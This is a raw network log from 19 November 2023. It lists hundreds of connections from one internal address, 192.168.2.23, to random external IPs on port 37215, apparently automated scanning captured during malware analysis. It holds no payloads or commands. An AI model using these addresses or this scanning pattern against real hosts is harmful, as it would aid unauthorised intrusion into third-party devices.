Nov 19, 2023 09:16:07.865839005 CET	45796	37215	192.168.2.23	156.173.95.26
Nov 19, 2023 09:16:07.865823984 CET	45796	37215	192.168.2.23	41.22.112.223
Nov 19, 2023 09:16:07.865845919 CET	45796	37215	192.168.2.23	41.136.11.191
Nov 19, 2023 09:16:07.865849018 CET	45796	37215	192.168.2.23	156.157.26.252
Nov 19, 2023 09:16:07.865852118 CET	45796	37215	192.168.2.23	197.24.231.157
Nov 19, 2023 09:16:07.865855932 CET	45796	37215	192.168.2.23	156.253.146.4
Nov 19, 2023 09:16:07.865858078 CET	45796	37215	192.168.2.23	41.236.66.200
Nov 19, 2023 09:16:07.865855932 CET	45796	37215	192.168.2.23	197.200.212.253
Nov 19, 2023 09:16:07.865878105 CET	45796	37215	192.168.2.23	197.66.204.73
Nov 19, 2023 09:16:07.865878105 CET	45796	37215	192.168.2.23	156.157.137.254
Nov 19, 2023 09:16:07.865878105 CET	45796	37215	192.168.2.23	197.173.47.35
Nov 19, 2023 09:16:07.865883112 CET	45796	37215	192.168.2.23	197.15.70.42
Nov 19, 2023 09:16:07.865880966 CET	45796	37215	192.168.2.23	197.183.153.142
Nov 19, 2023 09:16:07.865880966 CET	45796	37215	192.168.2.23	197.111.225.176
Nov 19, 2023 09:16:07.865895033 CET	45796	37215	192.168.2.23	156.252.181.34
Nov 19, 2023 09:16:07.865901947 CET	45796	37215	192.168.2.23	156.47.191.141
Nov 19, 2023 09:16:07.865901947 CET	45796	37215	192.168.2.23	41.101.52.188
Nov 19, 2023 09:16:07.865910053 CET	45796	37215	192.168.2.23	156.17.17.240
Nov 19, 2023 09:16:07.865926027 CET	45796	37215	192.168.2.23	156.205.188.118
Nov 19, 2023 09:16:07.865930080 CET	45796	37215	192.168.2.23	41.178.159.121
Nov 19, 2023 09:16:07.865942001 CET	45796	37215	192.168.2.23	156.154.232.129
Nov 19, 2023 09:16:07.865942955 CET	45796	37215	192.168.2.23	197.110.115.235
Nov 19, 2023 09:16:07.865953922 CET	45796	37215	192.168.2.23	41.76.120.233
Nov 19, 2023 09:16:07.865962029 CET	45796	37215	192.168.2.23	41.235.9.239
Nov 19, 2023 09:16:07.865986109 CET	45796	37215	192.168.2.23	156.129.151.80
Nov 19, 2023 09:16:07.865995884 CET	45796	37215	192.168.2.23	41.78.254.79
Nov 19, 2023 09:16:07.866005898 CET	45796	37215	192.168.2.23	41.19.182.52
Nov 19, 2023 09:16:07.866015911 CET	45796	37215	192.168.2.23	41.35.167.61
Nov 19, 2023 09:16:07.866015911 CET	45796	37215	192.168.2.23	156.216.18.133
Nov 19, 2023 09:16:07.866024017 CET	45796	37215	192.168.2.23	197.149.64.86
Nov 19, 2023 09:16:07.866033077 CET	45796	37215	192.168.2.23	156.32.106.88
Nov 19, 2023 09:16:07.866051912 CET	45796	37215	192.168.2.23	197.121.40.173
Nov 19, 2023 09:16:07.866055965 CET	45796	37215	192.168.2.23	156.237.111.151
Nov 19, 2023 09:16:07.866055965 CET	45796	37215	192.168.2.23	156.121.255.35
Nov 19, 2023 09:16:07.866060972 CET	45796	37215	192.168.2.23	197.247.186.33
Nov 19, 2023 09:16:07.866060972 CET	45796	37215	192.168.2.23	41.237.217.150
Nov 19, 2023 09:16:07.866067886 CET	45796	37215	192.168.2.23	156.83.139.10
Nov 19, 2023 09:16:07.866075039 CET	45796	37215	192.168.2.23	156.40.161.115
Nov 19, 2023 09:16:07.866092920 CET	45796	37215	192.168.2.23	197.110.174.168
Nov 19, 2023 09:16:07.866095066 CET	45796	37215	192.168.2.23	156.123.197.212
Nov 19, 2023 09:16:07.866096973 CET	45796	37215	192.168.2.23	41.132.190.7
Nov 19, 2023 09:16:07.866115093 CET	45796	37215	192.168.2.23	41.42.133.38
Nov 19, 2023 09:16:07.866118908 CET	45796	37215	192.168.2.23	156.5.0.150
Nov 19, 2023 09:16:07.866122007 CET	45796	37215	192.168.2.23	197.144.197.180
Nov 19, 2023 09:16:07.866143942 CET	45796	37215	192.168.2.23	41.98.145.78
Nov 19, 2023 09:16:07.866144896 CET	45796	37215	192.168.2.23	41.91.17.159
Nov 19, 2023 09:16:07.866144896 CET	45796	37215	192.168.2.23	156.106.184.229
Nov 19, 2023 09:16:07.866153955 CET	45796	37215	192.168.2.23	156.165.120.187
Nov 19, 2023 09:16:07.866161108 CET	45796	37215	192.168.2.23	197.225.229.117
Nov 19, 2023 09:16:07.866168976 CET	45796	37215	192.168.2.23	197.196.89.189
Nov 19, 2023 09:16:07.866172075 CET	45796	37215	192.168.2.23	156.75.233.199
Nov 19, 2023 09:16:07.866183043 CET	45796	37215	192.168.2.23	41.218.59.189
Nov 19, 2023 09:16:07.866189957 CET	45796	37215	192.168.2.23	41.167.65.194
Nov 19, 2023 09:16:07.866203070 CET	45796	37215	192.168.2.23	156.16.195.88
Nov 19, 2023 09:16:07.866219997 CET	45796	37215	192.168.2.23	156.48.137.247
Nov 19, 2023 09:16:07.866219997 CET	45796	37215	192.168.2.23	156.21.65.187
Nov 19, 2023 09:16:07.866220951 CET	45796	37215	192.168.2.23	41.205.224.27
Nov 19, 2023 09:16:07.866233110 CET	45796	37215	192.168.2.23	156.175.63.173
Nov 19, 2023 09:16:07.866235018 CET	45796	37215	192.168.2.23	197.65.47.20
Nov 19, 2023 09:16:07.866241932 CET	45796	37215	192.168.2.23	156.225.236.248
Nov 19, 2023 09:16:07.866242886 CET	45796	37215	192.168.2.23	156.104.108.128
Nov 19, 2023 09:16:07.866255045 CET	45796	37215	192.168.2.23	156.28.92.254
Nov 19, 2023 09:16:07.866281986 CET	45796	37215	192.168.2.23	41.241.225.154
Nov 19, 2023 09:16:07.866281986 CET	45796	37215	192.168.2.23	156.151.73.19
Nov 19, 2023 09:16:07.866285086 CET	45796	37215	192.168.2.23	41.7.62.220
Nov 19, 2023 09:16:07.866292000 CET	45796	37215	192.168.2.23	41.87.38.201
Nov 19, 2023 09:16:07.866293907 CET	45796	37215	192.168.2.23	41.7.19.242
Nov 19, 2023 09:16:07.866307020 CET	45796	37215	192.168.2.23	41.244.123.115
Nov 19, 2023 09:16:07.866319895 CET	45796	37215	192.168.2.23	156.128.215.61
Nov 19, 2023 09:16:07.866328001 CET	45796	37215	192.168.2.23	156.0.207.225
Nov 19, 2023 09:16:07.866333961 CET	45796	37215	192.168.2.23	156.92.12.229
Nov 19, 2023 09:16:07.866333961 CET	45796	37215	192.168.2.23	197.209.82.120
Nov 19, 2023 09:16:07.866336107 CET	45796	37215	192.168.2.23	41.157.91.196
Nov 19, 2023 09:16:07.866338015 CET	45796	37215	192.168.2.23	197.77.22.2
Nov 19, 2023 09:16:07.866339922 CET	45796	37215	192.168.2.23	197.212.174.15
Nov 19, 2023 09:16:07.866343975 CET	45796	37215	192.168.2.23	156.77.197.126
Nov 19, 2023 09:16:07.866353989 CET	45796	37215	192.168.2.23	41.235.11.12
Nov 19, 2023 09:16:07.866353989 CET	45796	37215	192.168.2.23	41.128.181.187
Nov 19, 2023 09:16:07.866362095 CET	45796	37215	192.168.2.23	197.226.25.51
Nov 19, 2023 09:16:07.866377115 CET	45796	37215	192.168.2.23	41.172.222.146
Nov 19, 2023 09:16:07.866386890 CET	45796	37215	192.168.2.23	156.192.241.0
Nov 19, 2023 09:16:07.866388083 CET	45796	37215	192.168.2.23	156.126.87.190
Nov 19, 2023 09:16:07.866388083 CET	45796	37215	192.168.2.23	156.107.40.221
Nov 19, 2023 09:16:07.866390944 CET	45796	37215	192.168.2.23	41.15.165.211
Nov 19, 2023 09:16:07.866396904 CET	45796	37215	192.168.2.23	156.252.5.234
Nov 19, 2023 09:16:07.866409063 CET	45796	37215	192.168.2.23	197.119.2.34
Nov 19, 2023 09:16:07.866413116 CET	45796	37215	192.168.2.23	197.11.219.148
Nov 19, 2023 09:16:07.866425991 CET	45796	37215	192.168.2.23	156.207.86.70
Nov 19, 2023 09:16:07.866425991 CET	45796	37215	192.168.2.23	156.129.7.191
Nov 19, 2023 09:16:07.866446018 CET	45796	37215	192.168.2.23	41.231.179.205
Nov 19, 2023 09:16:07.866447926 CET	45796	37215	192.168.2.23	156.184.63.206
Nov 19, 2023 09:16:07.866462946 CET	45796	37215	192.168.2.23	197.80.26.235
Nov 19, 2023 09:16:07.866462946 CET	45796	37215	192.168.2.23	197.86.11.29
Nov 19, 2023 09:16:07.866487026 CET	45796	37215	192.168.2.23	41.69.165.147
Nov 19, 2023 09:16:07.866497993 CET	45796	37215	192.168.2.23	41.238.141.92
Nov 19, 2023 09:16:07.866499901 CET	45796	37215	192.168.2.23	197.112.134.45
Nov 19, 2023 09:16:07.866503954 CET	45796	37215	192.168.2.23	197.138.0.76
Nov 19, 2023 09:16:07.866507053 CET	45796	37215	192.168.2.23	197.165.17.79
Nov 19, 2023 09:16:07.866523027 CET	45796	37215	192.168.2.23	41.18.37.191
Nov 19, 2023 09:16:07.866558075 CET	45796	37215	192.168.2.23	197.112.224.19
Nov 19, 2023 09:16:07.866568089 CET	45796	37215	192.168.2.23	41.110.175.117
Nov 19, 2023 09:16:07.866569042 CET	45796	37215	192.168.2.23	197.47.153.61
Nov 19, 2023 09:16:07.866569996 CET	45796	37215	192.168.2.23	156.3.254.126
Nov 19, 2023 09:16:07.866571903 CET	45796	37215	192.168.2.23	41.115.222.234
Nov 19, 2023 09:16:07.866573095 CET	45796	37215	192.168.2.23	197.45.40.186
Nov 19, 2023 09:16:07.866580009 CET	45796	37215	192.168.2.23	197.22.222.128
Nov 19, 2023 09:16:07.866580009 CET	45796	37215	192.168.2.23	156.250.129.60
Nov 19, 2023 09:16:07.866584063 CET	45796	37215	192.168.2.23	156.248.183.203
Nov 19, 2023 09:16:07.866600037 CET	45796	37215	192.168.2.23	156.42.99.153
Nov 19, 2023 09:16:07.866610050 CET	45796	37215	192.168.2.23	197.30.205.49
Nov 19, 2023 09:16:07.866611004 CET	45796	37215	192.168.2.23	156.230.49.11
Nov 19, 2023 09:16:07.866636038 CET	45796	37215	192.168.2.23	41.86.45.51
Nov 19, 2023 09:16:07.866637945 CET	45796	37215	192.168.2.23	156.67.72.32
Nov 19, 2023 09:16:07.866640091 CET	45796	37215	192.168.2.23	41.217.137.143
Nov 19, 2023 09:16:07.866646051 CET	45796	37215	192.168.2.23	156.237.80.202
Nov 19, 2023 09:16:07.866660118 CET	45796	37215	192.168.2.23	156.64.117.216
Nov 19, 2023 09:16:07.866676092 CET	45796	37215	192.168.2.23	156.107.247.181
Nov 19, 2023 09:16:07.866683960 CET	45796	37215	192.168.2.23	41.47.248.158
Nov 19, 2023 09:16:07.866683960 CET	45796	37215	192.168.2.23	197.142.48.115
Nov 19, 2023 09:16:07.866703033 CET	45796	37215	192.168.2.23	197.146.16.5
Nov 19, 2023 09:16:07.866712093 CET	45796	37215	192.168.2.23	41.49.237.190
Nov 19, 2023 09:16:07.866714001 CET	45796	37215	192.168.2.23	197.160.5.214
Nov 19, 2023 09:16:07.866727114 CET	45796	37215	192.168.2.23	156.15.44.183
Nov 19, 2023 09:16:07.866728067 CET	45796	37215	192.168.2.23	156.173.246.133
Nov 19, 2023 09:16:07.866746902 CET	45796	37215	192.168.2.23	41.198.127.101
Nov 19, 2023 09:16:07.866746902 CET	45796	37215	192.168.2.23	156.128.151.94
Nov 19, 2023 09:16:07.866761923 CET	45796	37215	192.168.2.23	41.13.180.108
Nov 19, 2023 09:16:07.866763115 CET	45796	37215	192.168.2.23	156.232.83.52
Nov 19, 2023 09:16:07.866774082 CET	45796	37215	192.168.2.23	156.127.94.120
Nov 19, 2023 09:16:07.866784096 CET	45796	37215	192.168.2.23	41.108.84.95
Nov 19, 2023 09:16:07.866802931 CET	45796	37215	192.168.2.23	41.170.114.0
Nov 19, 2023 09:16:07.866802931 CET	45796	37215	192.168.2.23	156.104.205.98
Nov 19, 2023 09:16:07.866802931 CET	45796	37215	192.168.2.23	41.124.69.152
Nov 19, 2023 09:16:07.866817951 CET	45796	37215	192.168.2.23	197.240.174.2
Nov 19, 2023 09:16:07.866828918 CET	45796	37215	192.168.2.23	41.6.248.24
Nov 19, 2023 09:16:07.866841078 CET	45796	37215	192.168.2.23	41.21.39.179
Nov 19, 2023 09:16:07.866842031 CET	45796	37215	192.168.2.23	197.141.1.50
Nov 19, 2023 09:16:07.866854906 CET	45796	37215	192.168.2.23	197.65.243.204
Nov 19, 2023 09:16:07.866866112 CET	45796	37215	192.168.2.23	197.120.84.6
Nov 19, 2023 09:16:07.866873980 CET	45796	37215	192.168.2.23	156.252.16.160
Nov 19, 2023 09:16:07.866878986 CET	45796	37215	192.168.2.23	41.151.45.59
Nov 19, 2023 09:16:07.866889954 CET	45796	37215	192.168.2.23	156.25.164.57
Nov 19, 2023 09:16:07.866897106 CET	45796	37215	192.168.2.23	41.230.237.125
Nov 19, 2023 09:16:07.866918087 CET	45796	37215	192.168.2.23	197.195.28.230
Nov 19, 2023 09:16:07.866921902 CET	45796	37215	192.168.2.23	197.135.231.132
Nov 19, 2023 09:16:07.866928101 CET	45796	37215	192.168.2.23	156.79.247.0
Nov 19, 2023 09:16:07.866939068 CET	45796	37215	192.168.2.23	156.225.90.104
Nov 19, 2023 09:16:07.866970062 CET	45796	37215	192.168.2.23	41.201.134.96
Nov 19, 2023 09:16:07.866970062 CET	45796	37215	192.168.2.23	41.223.55.194
Nov 19, 2023 09:16:07.866970062 CET	45796	37215	192.168.2.23	197.5.142.250
Nov 19, 2023 09:16:07.866981983 CET	45796	37215	192.168.2.23	156.84.147.15
Nov 19, 2023 09:16:07.866986990 CET	45796	37215	192.168.2.23	41.50.143.188
Nov 19, 2023 09:16:07.867002010 CET	45796	37215	192.168.2.23	156.176.173.84
Nov 19, 2023 09:16:07.867006063 CET	45796	37215	192.168.2.23	197.186.64.155
Nov 19, 2023 09:16:07.867014885 CET	45796	37215	192.168.2.23	197.67.15.150
Nov 19, 2023 09:16:07.867027044 CET	45796	37215	192.168.2.23	156.16.165.107
Nov 19, 2023 09:16:07.867036104 CET	45796	37215	192.168.2.23	197.47.87.107
Nov 19, 2023 09:16:07.867043972 CET	45796	37215	192.168.2.23	156.138.172.54
Nov 19, 2023 09:16:07.867060900 CET	45796	37215	192.168.2.23	197.139.68.55
Nov 19, 2023 09:16:07.867073059 CET	45796	37215	192.168.2.23	41.87.13.85
Nov 19, 2023 09:16:07.867079020 CET	45796	37215	192.168.2.23	156.166.46.94
Nov 19, 2023 09:16:07.867079020 CET	45796	37215	192.168.2.23	197.40.3.22
Nov 19, 2023 09:16:07.867088079 CET	45796	37215	192.168.2.23	41.53.210.116
Nov 19, 2023 09:16:07.867091894 CET	45796	37215	192.168.2.23	156.233.120.118
Nov 19, 2023 09:16:07.867100954 CET	45796	37215	192.168.2.23	156.219.216.110
Nov 19, 2023 09:16:07.867105007 CET	45796	37215	192.168.2.23	156.158.145.228
Nov 19, 2023 09:16:07.867125034 CET	45796	37215	192.168.2.23	197.204.22.1
Nov 19, 2023 09:16:07.867125034 CET	45796	37215	192.168.2.23	156.98.42.120
Nov 19, 2023 09:16:07.867137909 CET	45796	37215	192.168.2.23	197.18.155.156
Nov 19, 2023 09:16:07.867157936 CET	45796	37215	192.168.2.23	197.45.211.104
Nov 19, 2023 09:16:07.867170095 CET	45796	37215	192.168.2.23	197.58.39.203
Nov 19, 2023 09:16:07.867170095 CET	45796	37215	192.168.2.23	156.75.169.82
Nov 19, 2023 09:16:07.867187023 CET	45796	37215	192.168.2.23	197.125.88.212
Nov 19, 2023 09:16:07.867196083 CET	45796	37215	192.168.2.23	156.251.108.108
Nov 19, 2023 09:16:07.867197990 CET	45796	37215	192.168.2.23	197.166.114.118
Nov 19, 2023 09:16:07.867197990 CET	45796	37215	192.168.2.23	156.247.106.198
Nov 19, 2023 09:16:07.867204905 CET	45796	37215	192.168.2.23	197.189.117.16
Nov 19, 2023 09:16:07.867222071 CET	45796	37215	192.168.2.23	41.177.142.186
Nov 19, 2023 09:16:07.867228031 CET	45796	37215	192.168.2.23	156.204.171.25
Nov 19, 2023 09:16:07.867235899 CET	45796	37215	192.168.2.23	41.49.190.57
Nov 19, 2023 09:16:07.867235899 CET	45796	37215	192.168.2.23	41.48.245.236
Nov 19, 2023 09:16:07.867257118 CET	45796	37215	192.168.2.23	197.135.228.51
Nov 19, 2023 09:16:07.867258072 CET	45796	37215	192.168.2.23	197.119.34.29
Nov 19, 2023 09:16:07.867265940 CET	45796	37215	192.168.2.23	156.210.38.49
Nov 19, 2023 09:16:07.867285967 CET	45796	37215	192.168.2.23	156.122.32.216
Nov 19, 2023 09:16:07.867299080 CET	45796	37215	192.168.2.23	41.59.220.18
Nov 19, 2023 09:16:07.867299080 CET	45796	37215	192.168.2.23	156.37.243.214
Nov 19, 2023 09:16:07.867310047 CET	45796	37215	192.168.2.23	197.99.236.153
Nov 19, 2023 09:16:07.867321968 CET	45796	37215	192.168.2.23	197.254.27.205
Nov 19, 2023 09:16:07.867333889 CET	45796	37215	192.168.2.23	156.43.253.201
Nov 19, 2023 09:16:07.867345095 CET	45796	37215	192.168.2.23	197.157.89.85
Nov 19, 2023 09:16:07.867347956 CET	45796	37215	192.168.2.23	41.1.28.140
Nov 19, 2023 09:16:07.867357016 CET	45796	37215	192.168.2.23	41.243.95.4
Nov 19, 2023 09:16:07.867367029 CET	45796	37215	192.168.2.23	41.48.231.253
Nov 19, 2023 09:16:07.867393970 CET	45796	37215	192.168.2.23	156.203.127.203
Nov 19, 2023 09:16:07.867397070 CET	45796	37215	192.168.2.23	156.115.238.20
Nov 19, 2023 09:16:07.867397070 CET	45796	37215	192.168.2.23	156.77.204.223
Nov 19, 2023 09:16:07.867404938 CET	45796	37215	192.168.2.23	41.52.153.80
Nov 19, 2023 09:16:07.867410898 CET	45796	37215	192.168.2.23	197.25.201.44
Nov 19, 2023 09:16:07.867419004 CET	45796	37215	192.168.2.23	41.54.250.135
Nov 19, 2023 09:16:07.867435932 CET	45796	37215	192.168.2.23	197.149.202.213
Nov 19, 2023 09:16:07.867455006 CET	45796	37215	192.168.2.23	41.132.68.101
Nov 19, 2023 09:16:07.867455959 CET	45796	37215	192.168.2.23	156.237.156.35
Nov 19, 2023 09:16:07.867468119 CET	45796	37215	192.168.2.23	156.134.167.191
Nov 19, 2023 09:16:07.867477894 CET	45796	37215	192.168.2.23	197.133.232.31
Nov 19, 2023 09:16:07.867481947 CET	45796	37215	192.168.2.23	197.80.132.50
Nov 19, 2023 09:16:07.867491961 CET	45796	37215	192.168.2.23	41.39.45.225
Nov 19, 2023 09:16:07.867491961 CET	45796	37215	192.168.2.23	156.181.183.122
Nov 19, 2023 09:16:07.867505074 CET	45796	37215	192.168.2.23	41.44.41.61
Nov 19, 2023 09:16:07.867521048 CET	45796	37215	192.168.2.23	41.201.94.145
Nov 19, 2023 09:16:07.867523909 CET	45796	37215	192.168.2.23	197.239.126.160
Nov 19, 2023 09:16:07.867532015 CET	45796	37215	192.168.2.23	41.103.87.167
Nov 19, 2023 09:16:07.867547989 CET	45796	37215	192.168.2.23	156.137.225.131
Nov 19, 2023 09:16:07.867548943 CET	45796	37215	192.168.2.23	197.237.32.126
Nov 19, 2023 09:16:07.867571115 CET	45796	37215	192.168.2.23	197.8.161.142
Nov 19, 2023 09:16:07.867573977 CET	45796	37215	192.168.2.23	41.131.130.203
Nov 19, 2023 09:16:07.867580891 CET	45796	37215	192.168.2.23	197.28.36.222
Nov 19, 2023 09:16:07.867582083 CET	45796	37215	192.168.2.23	197.170.121.56
Nov 19, 2023 09:16:07.867603064 CET	45796	37215	192.168.2.23	156.233.95.112
Nov 19, 2023 09:16:07.867603064 CET	45796	37215	192.168.2.23	41.28.202.103
Nov 19, 2023 09:16:07.867616892 CET	45796	37215	192.168.2.23	41.136.132.161
Nov 19, 2023 09:16:07.867630005 CET	45796	37215	192.168.2.23	197.19.245.41
Nov 19, 2023 09:16:07.867639065 CET	45796	37215	192.168.2.23	41.104.208.224
Nov 19, 2023 09:16:07.867647886 CET	45796	37215	192.168.2.23	41.157.108.71
Nov 19, 2023 09:16:07.867657900 CET	45796	37215	192.168.2.23	197.132.219.235
Nov 19, 2023 09:16:07.867677927 CET	45796	37215	192.168.2.23	41.242.244.37
Nov 19, 2023 09:16:07.867686987 CET	45796	37215	192.168.2.23	156.159.47.198
Nov 19, 2023 09:16:07.867698908 CET	45796	37215	192.168.2.23	197.242.255.152
Nov 19, 2023 09:16:07.867702007 CET	45796	37215	192.168.2.23	156.209.146.19
Nov 19, 2023 09:16:07.867702007 CET	45796	37215	192.168.2.23	41.237.244.99
Nov 19, 2023 09:16:07.867712975 CET	45796	37215	192.168.2.23	41.218.203.34
Nov 19, 2023 09:16:07.867722034 CET	45796	37215	192.168.2.23	41.118.247.96
Nov 19, 2023 09:16:07.867798090 CET	45796	37215	192.168.2.23	197.23.211.251
Nov 19, 2023 09:16:07.867798090 CET	45796	37215	192.168.2.23	41.143.174.252
Nov 19, 2023 09:16:07.867799997 CET	45796	37215	192.168.2.23	41.155.122.199
Nov 19, 2023 09:16:07.867799997 CET	45796	37215	192.168.2.23	156.161.31.241
Nov 19, 2023 09:16:07.867799997 CET	45796	37215	192.168.2.23	197.235.27.98
Nov 19, 2023 09:16:07.867846012 CET	45796	37215	192.168.2.23	41.196.128.44
Nov 19, 2023 09:16:07.867847919 CET	45796	37215	192.168.2.23	156.240.142.15
Nov 19, 2023 09:16:07.867847919 CET	45796	37215	192.168.2.23	41.26.76.40
Nov 19, 2023 09:16:07.867847919 CET	45796	37215	192.168.2.23	197.189.21.159
Nov 19, 2023 09:16:07.867847919 CET	45796	37215	192.168.2.23	156.84.170.159
Nov 19, 2023 09:16:07.867851019 CET	45796	37215	192.168.2.23	41.206.17.215
Nov 19, 2023 09:16:07.867851019 CET	45796	37215	192.168.2.23	197.22.234.70
Nov 19, 2023 09:16:07.867851019 CET	45796	37215	192.168.2.23	156.228.141.45
Nov 19, 2023 09:16:07.867851019 CET	45796	37215	192.168.2.23	197.199.198.148
Nov 19, 2023 09:16:07.867851973 CET	45796	37215	192.168.2.23	197.220.83.96
Nov 19, 2023 09:16:07.867851973 CET	45796	37215	192.168.2.23	41.167.243.244
Nov 19, 2023 09:16:07.867851019 CET	45796	37215	192.168.2.23	156.146.91.242
Nov 19, 2023 09:16:07.867855072 CET	45796	37215	192.168.2.23	41.51.107.90
Nov 19, 2023 09:16:07.867856026 CET	45796	37215	192.168.2.23	197.177.184.189
Nov 19, 2023 09:16:07.867855072 CET	45796	37215	192.168.2.23	41.115.12.254
Nov 19, 2023 09:16:07.867856979 CET	45796	37215	192.168.2.23	41.174.187.139
Nov 19, 2023 09:16:07.867855072 CET	45796	37215	192.168.2.23	197.25.134.165
Nov 19, 2023 09:16:07.867856979 CET	45796	37215	192.168.2.23	156.56.236.250
Nov 19, 2023 09:16:07.867914915 CET	45796	37215	192.168.2.23	41.241.242.131
Nov 19, 2023 09:16:07.867914915 CET	45796	37215	192.168.2.23	197.219.82.219
Nov 19, 2023 09:16:07.867914915 CET	45796	37215	192.168.2.23	156.19.92.195
Nov 19, 2023 09:16:07.867916107 CET	45796	37215	192.168.2.23	41.72.70.8
Nov 19, 2023 09:16:07.867919922 CET	45796	37215	192.168.2.23	197.23.116.232
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	197.35.242.6
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	156.186.183.234
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	197.219.96.254
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	197.2.154.47
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	197.198.167.55
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	156.43.166.44
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	41.165.35.30
Nov 19, 2023 09:16:07.867927074 CET	45796	37215	192.168.2.23	197.15.250.246
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	156.116.62.10
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	197.224.185.120
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	197.183.39.81
Nov 19, 2023 09:16:07.867927074 CET	45796	37215	192.168.2.23	156.192.191.200
Nov 19, 2023 09:16:07.867927074 CET	45796	37215	192.168.2.23	197.75.76.238
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	41.244.244.186
Nov 19, 2023 09:16:07.867927074 CET	45796	37215	192.168.2.23	41.38.34.125
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	41.148.242.142
Nov 19, 2023 09:16:07.867928028 CET	45796	37215	192.168.2.23	156.189.178.22
Nov 19, 2023 09:16:07.867921114 CET	45796	37215	192.168.2.23	41.242.64.82
Nov 19, 2023 09:16:07.867928028 CET	45796	37215	192.168.2.23	156.254.2.77
Nov 19, 2023 09:16:07.867927074 CET	45796	37215	192.168.2.23	156.68.237.162
Nov 19, 2023 09:16:07.867985964 CET	45796	37215	192.168.2.23	41.163.204.179
Nov 19, 2023 09:16:07.867985964 CET	45796	37215	192.168.2.23	156.188.212.166
Nov 19, 2023 09:16:07.867985964 CET	45796	37215	192.168.2.23	41.230.110.148
Nov 19, 2023 09:16:07.867985964 CET	45796	37215	192.168.2.23	41.199.119.171
Nov 19, 2023 09:16:07.867985964 CET	45796	37215	192.168.2.23	156.119.217.198
Nov 19, 2023 09:16:07.867985964 CET	45796	37215	192.168.2.23	197.127.49.93
Nov 19, 2023 09:16:07.867993116 CET	45796	37215	192.168.2.23	197.80.89.40
Nov 19, 2023 09:16:07.867995024 CET	45796	37215	192.168.2.23	197.242.200.108
Nov 19, 2023 09:16:07.867995024 CET	45796	37215	192.168.2.23	156.247.21.183
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	156.177.163.202
Nov 19, 2023 09:16:07.867995024 CET	45796	37215	192.168.2.23	41.215.88.208
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	156.218.45.52
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	197.229.175.228
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	41.185.228.132
Nov 19, 2023 09:16:07.867995024 CET	45796	37215	192.168.2.23	197.228.150.142
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	197.176.129.233
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	41.98.122.150
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	41.208.164.12
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	156.186.92.205
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	41.137.225.31
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	41.91.64.122
Nov 19, 2023 09:16:07.867995977 CET	45796	37215	192.168.2.23	41.123.83.174
Nov 19, 2023 09:16:07.867995024 CET	45796	37215	192.168.2.23	41.40.8.130
Nov 19, 2023 09:16:07.867994070 CET	45796	37215	192.168.2.23	41.203.101.203
Nov 19, 2023 09:16:07.868022919 CET	45796	37215	192.168.2.23	156.45.69.3
Nov 19, 2023 09:16:07.868022919 CET	45796	37215	192.168.2.23	156.241.90.247
Nov 19, 2023 09:16:07.868022919 CET	45796	37215	192.168.2.23	197.46.31.154
Nov 19, 2023 09:16:07.868024111 CET	45796	37215	192.168.2.23	41.147.251.54
Nov 19, 2023 09:16:07.868024111 CET	45796	37215	192.168.2.23	156.196.43.39
Nov 19, 2023 09:16:07.868024111 CET	45796	37215	192.168.2.23	197.112.43.99
Nov 19, 2023 09:16:07.868077993 CET	45796	37215	192.168.2.23	156.116.104.66
Nov 19, 2023 09:16:07.868077993 CET	45796	37215	192.168.2.23	156.95.74.58
Nov 19, 2023 09:16:07.868077993 CET	45796	37215	192.168.2.23	156.102.255.14
Nov 19, 2023 09:16:07.868077993 CET	45796	37215	192.168.2.23	197.56.126.33
Nov 19, 2023 09:16:07.868077993 CET	45796	37215	192.168.2.23	156.0.39.54
Nov 19, 2023 09:16:07.868077993 CET	45796	37215	192.168.2.23	41.65.97.28
Nov 19, 2023 09:16:07.868086100 CET	45796	37215	192.168.2.23	197.213.90.212
Nov 19, 2023 09:16:07.868086100 CET	45796	37215	192.168.2.23	197.31.106.38
Nov 19, 2023 09:16:07.868088007 CET	45796	37215	192.168.2.23	156.94.180.143
Nov 19, 2023 09:16:07.868088007 CET	45796	37215	192.168.2.23	197.223.39.125
Nov 19, 2023 09:16:07.868089914 CET	45796	37215	192.168.2.23	197.220.135.102
Nov 19, 2023 09:16:07.868089914 CET	45796	37215	192.168.2.23	197.224.80.94
Nov 19, 2023 09:16:07.868089914 CET	45796	37215	192.168.2.23	41.61.186.191
Nov 19, 2023 09:16:07.868092060 CET	45796	37215	192.168.2.23	156.43.198.68
Nov 19, 2023 09:16:07.868092060 CET	45796	37215	192.168.2.23	41.77.120.19
Nov 19, 2023 09:16:07.868092060 CET	45796	37215	192.168.2.23	197.248.7.203
Nov 19, 2023 09:16:07.868092060 CET	45796	37215	192.168.2.23	41.73.204.113
Nov 19, 2023 09:16:07.868092060 CET	45796	37215	192.168.2.23	156.228.103.106
Nov 19, 2023 09:16:07.868092060 CET	45796	37215	192.168.2.23	156.164.216.4
Nov 19, 2023 09:16:07.868092060 CET	45796	37215	192.168.2.23	156.240.130.59
Nov 19, 2023 09:16:07.868098021 CET	45796	37215	192.168.2.23	156.130.101.191
Nov 19, 2023 09:16:07.868098974 CET	45796	37215	192.168.2.23	197.227.233.233
Nov 19, 2023 09:16:07.868098974 CET	45796	37215	192.168.2.23	41.166.220.206
